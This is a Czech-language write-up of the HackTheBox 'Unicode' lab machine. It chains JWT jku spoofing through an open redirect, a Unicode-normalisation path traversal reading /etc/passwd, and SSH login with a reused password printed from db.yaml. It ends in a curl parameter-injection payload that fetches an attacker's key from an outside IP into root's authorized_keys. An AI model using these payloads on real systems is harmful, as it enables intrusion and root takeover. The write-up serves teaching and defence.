Unicode
Úvod a kontext
Unicode je pěkný příklad řetězce, kde se sejdou tři zdánlivě oddělené aplikační problémy: důvěra v JWT hlavičku jku, otevřený redirect a chybná práce s unicode normalizací ve file traversal filtru. Samostatně by každá z těch chyb vypadala spíš jako „zajímavost“, ale dohromady vedou k administrátorskému tokenu, čtení lokálních souborů a nakonec i k SSH přístupu. Právě proto se tenhle stroj přirozeně potkává s články kid/jku a vzdálené načítání klíčů, File read a include varianty mimo klasické LFI a Password reuse a rozpad hranic mezi aplikací, SSH, WinRM a admin nástroji.
Root část je odlišná. Tam už nejde o web, ale o PyInstaller binárku treport, kterou může code spouštět jako root. Skutečný problém nespočívá v curl samotném, ale v tom, že wrapper skládá příkaz přes /bin/bash -c a nedokáže bezpečně oddělit URL od dalších parametrů.
Počáteční průzkum
Vyhledání otevřených portů
Nejdřív ověřuji, jaké veřejné služby jsou vůbec k dispozici.
ports=$(nmap -p- --min-rate=1000 -T4 $IP | grep ^[0-9] | cut -d "/" -f 1 | tr "\n" "," | sed s/,$//);echo $ports;nmap -p $ports -A -sC -sV -v $IP
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3
80/tcp open http nginx 1.18.0 (Ubuntu)
Enumerace webu odhalila mimo jiné tyto zajímavé cesty:
/dashboard
/display
/internal
/redirect
/upload
Právě dashboard, display a redirect později tvoří hlavní útokový řetězec.
Analýza zjištění
JWT jku a open redirect
Po přihlášení aplikace vracela JWT podepsaný algoritmem RS256. Hlavička obsahovala jku, tedy URL, odkud si server bere JWK set s veřejným klíčem. To je bezpečné jen tehdy, pokud server striktně kontroluje, z jakých adres smí klíče načítat.
Unicode sice cizí URL přímo nedůvěřoval, ale zároveň měl endpoint /redirect, který přesměrovával na útočníkem zadanou adresu. To umožnilo obě omezení spojit:
jkuzačíná důvěryhodnou doménouhackmedia.htb,- ale přes redirect ve skutečnosti skončí na útočníkově
jwks.json.
Tím šlo server přesvědčit, aby přijal podvržený administrátorský token.
Unicode normalizace v /display
Admin token otevřel interní funkce, ale skutečně důležitý byl endpoint /display/?page=.... Ten blokoval klasické ../, jenže filtr pracoval před unicode normalizací. Znak ‥ (U+2025) vypadá jako dvě tečky a po normalizaci se na ně skutečně změní.
Prakticky tedy šlo použít payload ve stylu:
/display/?page=‥/‥/‥/‥/etc/passwd
Tím vznikla file traversal, která umožnila číst lokální soubory v kontextu aplikace. Nejde o klasické ../ v syrové podobě, ale o pěknou ukázku toho, jak špatné pořadí normalizace a validace změní „jen file-read bug“ na stabilní čtecí kanál.
Konfigurace aplikace a SSH heslo
Přes traversal dávalo smysl nejdřív najít zdrojáky a konfigurační soubory. Z /proc/self/cwd/app.py bylo patrné, že aplikace čte databázovou konfiguraci z db.yaml.
Právě ten obsahoval použitelná pověření:
mysql_host: "localhost"
mysql_user: "code"
mysql_password: "B3stC0d3r2021@@!"
mysql_db: "user"
Účet code zároveň existoval v /etc/passwd, takže bylo logické zkusit stejné heslo i pro SSH.
Získání přístupu
SSH jako code
Reuse fungoval:
ssh code@10.10.11.126
Po přihlášení šlo potvrdit uživatelský přístup:
cat user.txt
__CENSORED__
To je dobrý příklad toho, že LFI nebo traversal nemusí vést k shellu přímo. Stačí, když odkryjí konfigurační tajemství použitelné v jiné službě.
Eskalace oprávnění
Co dělá treport
sudo -l ukázalo:
(root) NOPASSWD: /usr/bin/treport
Program treport byl PyInstaller binárka. Po rozbalení nebo analýze tracebacku bylo vidět, že při volbě „Download A Threat Report“ skládá příkaz v tomto duchu:
cmd = '/bin/bash -c "curl ' + ip + ' -o /root/reports/threat_report_' + current_time + '"'
os.system(cmd)
Praktickou roli curl jako běžného HTTP klienta rozebírám v samostatném článku curl; tady je důležité, že se z něj stává útoková plocha kvůli nebezpečně složenému wrapperu.
Filtr sice blokoval mezery a část speciálních znaků, ale neřešil správně brace expansion ani parameter injection do curl.
Parameter injection místo command injection
Důležité je rozlišit, co se zde zneužívá. Nejde o klasické ukončení příkazu pomocí ; nebo &&. Útočník jen přidá další parametry curl, které binárka sama poslušně předá.
Payload:
{http://10.10.14.6/pub,-o,/root/.ssh/authorized_keys}
Se v bashi rozbalí na:
curl http://10.10.14.6/pub -o /root/.ssh/authorized_keys -o /root/reports/threat_report_<timestamp>
Výsledek je jednoduchý:
curlstáhne útočníkův veřejný klíč,- první
-oho zapíše rovnou do/root/.ssh/authorized_keys, - původní výstupní cesta zůstane až druhá a neprosadí se.
Po spuštění treport s tímto vstupem už následovalo jen SSH jako root a přečtení root.txt.
Shrnutí klíčových poznatků
- Administrátorský token zde nevznikl prolomením podpisu, ale zneužitím důvěry v
jkua otevřeného redirectu. - File traversal na
/displaystála na unicode normalizaci znaku‥, tedy na pořadí validace a normalizace vstupu. - User část vznikla z konfiguračního souboru
db.yamla reuse hesla pro účetcode. - Root část byla parameter injection do
curluvnitř privilegovaného wrapperutreport.
Co si odnést do praxe
- JWT hlavičky typu
jkunebokidmusí server vyhodnocovat proti pevnému seznamu důvěryhodných klíčů. Klient nesmí rozhodovat, odkud se ověřovací klíč stáhne. - Bezpečnostní filtry musí pracovat po stejné normalizaci jako samotná aplikace. Jinak unicode znaky snadno obejdou kontrolu a po převodu se změní na nebezpečný vstup.
- Konfigurační soubory aplikace je potřeba chránit jako přístupové tajemství. Jakmile obsahují hesla k systémovým účtům nebo reuse credentials, traversal se rychle mění v SSH foothold.
- Wrapper nad
curl,tar,findnebo jiným bohatým CLI nástrojem musí vstup předávat bezpečně. Jinak uživatel neovládne jen data, ale i samotné parametry příkazu.
Další související články
HTB Stroje
Techniky
- Container boundary mistakes: bind mounty, `docker exec`, `runc`, `privileged`
- Údržbové skripty a provozní automaty jako zdroj přístupů
- SUID/GTFOBins a netypické binárky